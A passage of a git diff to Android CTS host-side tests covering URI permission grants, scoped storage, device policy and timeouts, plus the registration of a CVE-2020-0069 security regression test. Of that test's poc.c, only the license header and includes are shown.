+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsServiceTest.java
@@ -22,7 +22,7 @@
 import static com.android.cts.usespermissiondiffcertapp.AccessPermissionWithDiffSigTest.NOT_GRANTABLE_MODES;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertAccess;
 import static com.android.cts.usespermissiondiffcertapp.UriGrantsTest.TAG;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaService;
 
 import static junit.framework.Assert.fail;
 
@@ -79,7 +79,7 @@
         // --------------------------------
 
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(subClip, mode, true);
+        grantClipUriPermissionViaService(subClip, mode);
         ReceiveUriService.waitForStart();
 
         int firstStartId = ReceiveUriService.getCurStartId();
@@ -96,7 +96,7 @@
 
         // Send another Intent to it.
         ReceiveUriService.clearStarted();
-        grantClipUriPermission(sub2Clip, mode, true);
+        grantClipUriPermissionViaService(sub2Clip, mode);
         ReceiveUriService.waitForStart();
 
         assertAccess(uri, 0);
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
index a955dbc..8058d5b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsTest.java
@@ -23,7 +23,7 @@
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertReadingClipNotAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipAllowed;
 import static com.android.cts.usespermissiondiffcertapp.Asserts.assertWritingClipNotAllowed;
-import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermission;
+import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaActivity;
 import static com.android.cts.usespermissiondiffcertapp.Utils.grantClipUriPermissionViaContext;
 import static com.android.cts.usespermissiondiffcertapp.Utils.revokeClipUriPermissionViaContext;
 
@@ -104,8 +104,8 @@
 
         // Now, let's grant ourselves some access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // We should now have reading access, even before taking the persistable
@@ -129,9 +129,9 @@
 
         // Launch again giving ourselves persistable read and write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Previous persisted grant should be unchanged
@@ -190,8 +190,8 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clipMeow, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
@@ -204,7 +204,7 @@
 
         // Now give ourselves exact write access
         ReceiveUriActivity.clearNewIntent();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
         ReceiveUriActivity.waitForNewIntent();
 
         // Verify we have exact write access, but not prefix write
@@ -233,9 +233,9 @@
 
         // Give ourselves prefix read access
         ReceiveUriActivity.clearStarted();
-        grantClipUriPermission(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
+        grantClipUriPermissionViaActivity(clip, Intent.FLAG_GRANT_READ_URI_PERMISSION
                 | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
-                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, false);
+                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
         ReceiveUriActivity.waitForStart();
 
         // Verify prefix read access
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
index 48cac57..62bad1f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/Utils.java
@@ -20,6 +20,7 @@
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_GRANT_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_REVOKE_URI;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_PRIMARY_CLIP;
+import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITIES;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_ACTIVITY;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_START_SERVICE;
 import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_VERIFY_OUTGOING_PERSISTED;
@@ -38,6 +39,8 @@
 
 import com.android.cts.permissiondeclareapp.UtilsProvider;
 
+import java.util.Objects;
+
 public class Utils {
     private static Context getContext() {
         return InstrumentationRegistry.getTargetContext();
@@ -49,7 +52,19 @@
         getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
     }
 
-    static void grantClipUriPermission(ClipData clip, int mode, boolean service) {
+    static void grantClipUriPermissionViaActivity(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITY);
+    }
+
+    static void grantClipUriPermissionViaActivities(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_ACTIVITIES);
+    }
+
+    static void grantClipUriPermissionViaService(ClipData clip, int mode) {
+        grantClipUriPermission(clip, mode, ACTION_START_SERVICE);
+    }
+
+    private static void grantClipUriPermission(ClipData clip, int mode, String action) {
         Intent grantIntent = new Intent();
         if (clip.getItemCount() == 1) {
             grantIntent.setData(clip.getItemAt(0).getUri());
@@ -65,9 +80,10 @@
         }
         grantIntent.addFlags(mode);
         grantIntent.setClass(getContext(),
-                service ? ReceiveUriService.class : ReceiveUriActivity.class);
+                Objects.equals(ACTION_START_SERVICE, action) ? ReceiveUriService.class
+                        : ReceiveUriActivity.class);
         Intent intent = new Intent();
-        intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
+        intent.setAction(action);
         intent.putExtra(EXTRA_INTENT, grantIntent);
         call(intent);
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index f6659f3..4321f38 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -88,12 +88,6 @@
         mUiDevice.pressHome();
     }
 
-    public void testLockTaskIsActive() throws Exception {
-        Log.d(TAG, "testLockTaskIsActive on host-driven test");
-        waitAndCheckLockedActivityIsResumed();
-        checkLockedActivityIsRunning();
-    }
-
     /**
      * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
      * assume it's finished. Therefore, only use it once in a given test.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 206108a..5beb487 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -1227,9 +1227,6 @@
             // Wait for the LockTask starting
             waitForBroadcastIdle();
 
-            // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
-            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testLockTaskIsActive");
-
             // Try to open settings via adb
             executeShellCommand("am start -a android.settings.SETTINGS");
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index f13cd86..1313c31 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -28,7 +28,7 @@
     private static final String ENABLED_TEST_APK = "CtsCrossProfileEnabledApp.apk";
     private static final String USER_ENABLED_TEST_APK = "CtsCrossProfileUserEnabledApp.apk";
     private static final String ENABLED_NO_PERMS_TEST_APK = "CtsCrossProfileEnabledNoPermsApp.apk";
-    private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsQuietModeEnabledApp.apk";
+    private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsModifyQuietModeEnabledApp.apk";
     private static final String NOT_ENABLED_TEST_APK = "CtsCrossProfileNotEnabledApp.apk";
     private static final String ENABLED_TEST_PACKAGE = "com.android.cts.crossprofileenabledapp";
     private static final String USER_ENABLED_TEST_PACKAGE =
@@ -38,7 +38,7 @@
     private static final String NOT_ENABLED_TEST_PACKAGE =
             "com.android.cts.crossprofilenotenabledapp";
     private static final String QUIET_MODE_ENABLED_TEST_PACKAGE =
-            "com.android.cts.quietmodeenabledapp";
+            "com.android.cts.modifyquietmodeenabledapp";
 
     private int mProfileId;
     private String mOriginalLauncher;
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index 483011e..85a8be1 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -33,6 +33,10 @@
     export_package_resources: true,
     aapt_include_all_resources: true,
     manifest: "AndroidManifestV1.xml",
+
+    // This flag allow the native lib to be compressed in the apk or associated split apk, and
+    // needs to be extracted by the installer instead of calling directly into the apk.
+    use_embedded_native_libs: false,
 }
 
 // v2 implementation of test app built with v1 manifest for zero version update test.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 7738e31..d508a1d 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -62,7 +62,7 @@
 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceDeviceTest {
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(7);
 
     /** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
     @Test
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index 5ef052ef..eb1a474 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -55,7 +55,7 @@
     private static final BySelector BUTTON_ALWAYS = By.res("android:id/button_always");
     private static final BySelector RESOLVER_DIALOG = By.res("android:id/contentPanel");
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(30L);
 
     private TestStrategy mTest;
 
@@ -281,7 +281,7 @@
 
     private void chooseUseAlways() {
         getUiDevice()
-                .findObject(BUTTON_ALWAYS)
+                .wait(Until.findObject(BUTTON_ALWAYS), TIMEOUT)
                 .click();
     }
 
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index c067a1c..08349a1 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -20,8 +20,10 @@
 
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
 import org.junit.Before;
@@ -46,6 +48,19 @@
 
     }
 
+    /**
+     * Runs the given phase of ScopedStorageTest by calling into the device with {@code
+     * --no-isolated-storage} flag.
+     * Throws an exception if the test phase fails.
+     */
+    void runDeviceTestWithDisabledIsolatedStorage(String phase) throws Exception {
+        runDeviceTests(new DeviceTestRunOptions("android.scopedstorage.cts")
+            .setDevice(getDevice())
+            .setTestClassName("android.scopedstorage.cts.ScopedStorageTest")
+            .setTestMethodName(phase)
+            .setDisableIsolatedStorage(true));
+    }
+
     String executeShellCommand(String cmd) throws Exception {
         return getDevice().executeShellCommand(cmd);
     }
@@ -431,6 +446,36 @@
         runDeviceTest("testWallpaperApisManageExternalStoragePrivileged");
     }
 
+    @Test
+    public void testNoIsolatedStorageInstrumentationFlag() throws Exception {
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
+        runDeviceTestWithDisabledIsolatedStorage(
+                "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
+
+        // Check that appop is revoked after instrumentation is over.
+        runDeviceTest("testCreateFileInAppExternalDir");
+        runDeviceTest("testCreateFileInOtherAppExternalDir");
+        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final ITestDevice device = getDevice();
+        final boolean isAdbRoot = device.isAdbRoot() ? true : false;
+        try {
+            if (isAdbRoot) {
+                device.disableAdbRoot();
+            }
+            runDeviceTest("testRenameFromShell");
+        } finally {
+            if (isAdbRoot) {
+                device.enableAdbRoot();
+            }
+        }
+    }
+
     private void grantPermissions(String... perms) throws Exception {
         for (String perm : perms) {
             executeShellCommand("pm grant android.scopedstorage.cts " + perm);
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 2422f3b..4596cab 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -133,6 +133,7 @@
     @After
     public void teardown() throws Exception {
         executeShellCommand("rm " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
     }
 
     /**
@@ -221,6 +222,7 @@
 
         try {
             executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
             fail("Opening file for read expected to fail: " + existingFile);
         } catch (ErrnoException expected) {
@@ -273,6 +275,7 @@
         FileDescriptor fd = null;
         try {
             executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
         } finally {
             if (fd != null) {
@@ -314,6 +317,7 @@
         final File shellFile = getShellFile();
 
         executeShellCommand("touch " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
         // can list a non-media file created by other package.
         assertThat(Arrays.asList(shellFile.getParentFile().list()))
                 .contains(shellFile.getName());
@@ -381,6 +385,7 @@
                         "LegacyFileAccessTest2");
         try {
             executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
@@ -415,6 +420,7 @@
                         "LegacyFileAccessTest2");
         try {
             executeShellCommand("touch " + shellFile1);
+            MediaStore.scanFile(getContentResolver(), shellFile1);
             // app can't rename shell file.
             assertCantRenameFile(shellFile1, shellFile2);
             // app can't move shell file to its media directory.
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 4bd2344..eb60460 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -781,6 +781,8 @@
         } finally {
             executeShellCommand("rm " + pdfFile.getAbsolutePath());
             executeShellCommand("rm " + videoFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), pdfFile);
+            MediaStore.scanFile(getContentResolver(), videoFile);
             uninstallAppNoThrow(TEST_APP_A);
         }
     }
@@ -1387,6 +1389,7 @@
             videoFile.delete();
             topLevelVideoFile.delete();
             executeShellCommand("rm  " + musicFile.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), musicFile);
             denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
         }
     }
@@ -2097,11 +2100,13 @@
             // Use shell to create root file because TEST_APP_A is in
             // scoped storage.
             executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
             executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+            MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
             uninstallApp(TEST_APP_A);
         }
@@ -2225,6 +2230,7 @@
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             executeShellCommand("touch " + otherTopLevelFile);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
 
@@ -2240,6 +2246,7 @@
         } finally {
             denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
             executeShellCommand("rm " + otherTopLevelFile);
+            MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
         }
@@ -2344,6 +2351,7 @@
             assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
 
             executeShellCommand("touch " + otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
 
             installAppWithStoragePermissions(TEST_APP_A);
             allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
@@ -2362,6 +2370,8 @@
         } finally {
             executeShellCommand("rm " + otherAppPdfFile1);
             executeShellCommand("rm " + otherAppPdfFile2);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
             otherAppImageFile1.delete();
             otherAppImageFile2.delete();
             otherAppVideoFile1.delete();
@@ -2637,6 +2647,139 @@
         }
     }
 
+    @Test
+    public void testNoIsolatedStorageCanCreateFilesAnywhere() throws Exception {
+        final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+        final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
+        final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+        // Nothing special about this, anyone can create an image file in DCIM
+        assertCanCreateFile(imageFileInDcim);
+        // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+        // create a top level file
+        assertCanCreateFile(topLevelPdf);
+        // It can even create a music file in Pictures
+        assertCanCreateFile(musicFileInMovies);
+    }
+
+    @Test
+    public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
+        try {
+            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
+            installAppWithStoragePermissions(TEST_APP_A);
+
+            // Let app A create a file in its data dir
+            final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+                    THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+            final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+                    NONMEDIA_FILE_NAME);
+            assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+
+            // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+            // file manager app doesn't have access to other app's external files directory
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+            assertThat(otherAppExternalDataFile.delete()).isFalse();
+
+            assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
+
+            assertThrows(IOException.class,
+                    () -> { otherAppExternalDataFile.createNewFile(); });
+
+        } finally {
+            uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageStorageReaddir() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherTopLevelFile = new File(getExternalStorageDir(),
+                "other" + NONMEDIA_FILE_NAME);
+        try {
+            installApp(TEST_APP_A);
+            assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            executeShellCommand("touch " + otherTopLevelFile);
+
+            // We can list other apps' files
+            assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
+            assertDirectoryContains(otherAppImg.getParentFile(), otherAppImg);
+            assertDirectoryContains(otherAppMusic.getParentFile(), otherAppMusic);
+            // We can list top level files
+            assertDirectoryContains(getExternalStorageDir(), otherTopLevelFile);
+
+            // We can also list all top level directories
+            assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
+        } finally {
+            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testNoIsolatedStorageQueryOtherAppsFile() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            installApp(TEST_APP_A);
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            assertCanQueryAndOpenFile(otherAppPdf, "rw");
+            assertCanQueryAndOpenFile(otherAppImg, "rw");
+            assertCanQueryAndOpenFile(otherAppMusic, "rw");
+            assertCanQueryAndOpenFile(otherHiddenFile, "rw");
+        } finally {
+            deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+            uninstallApp(TEST_APP_A);
+        }
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+        final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
+        final File renamedImageFile = new File(dir, IMAGE_FILE_NAME);
+        final File imageFileInRenamedDir = new File(renamedDir, IMAGE_FILE_NAME);
+        try {
+            assertTrue(imageFile.createNewFile());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isNotEqualTo(-1);
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            final String renameFileCommand = String.format("mv %s %s",
+                    imageFile.getAbsolutePath(), renamedImageFile.getAbsolutePath());
+            executeShellCommand(renameFileCommand);
+            assertFalse(imageFile.exists());
+            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+            assertTrue(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isNotEqualTo(-1);
+
+            final String renameDirectoryCommand = String.format("mv %s %s",
+                    dir.getAbsolutePath(), renamedDir.getAbsolutePath());
+            executeShellCommand(renameDirectoryCommand);
+            assertFalse(dir.exists());
+            assertFalse(renamedImageFile.exists());
+            assertThat(getFileRowIdFromDatabase(renamedImageFile)).isEqualTo(-1);
+            assertTrue(renamedDir.exists());
+            assertTrue(imageFileInRenamedDir.exists());
+            assertThat(getFileRowIdFromDatabase(imageFileInRenamedDir)).isNotEqualTo(-1);
+        } finally {
+            imageFile.delete();
+            renamedImageFile.delete();
+            imageFileInRenamedDir.delete();
+            dir.delete();
+            renamedDir.delete();
+        }
+    }
+
     /**
      * Checks restrictions for opening pending and trashed files by different apps. Assumes that
      * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 2cc289a..8140dab 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -196,6 +196,11 @@
         <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
         <option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
 
+        <!--__________________-->
+        <!-- Bulletin 2020-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
new file mode 100644
index 0000000..8ce25c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//  	http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2020-0069",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..3644490
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
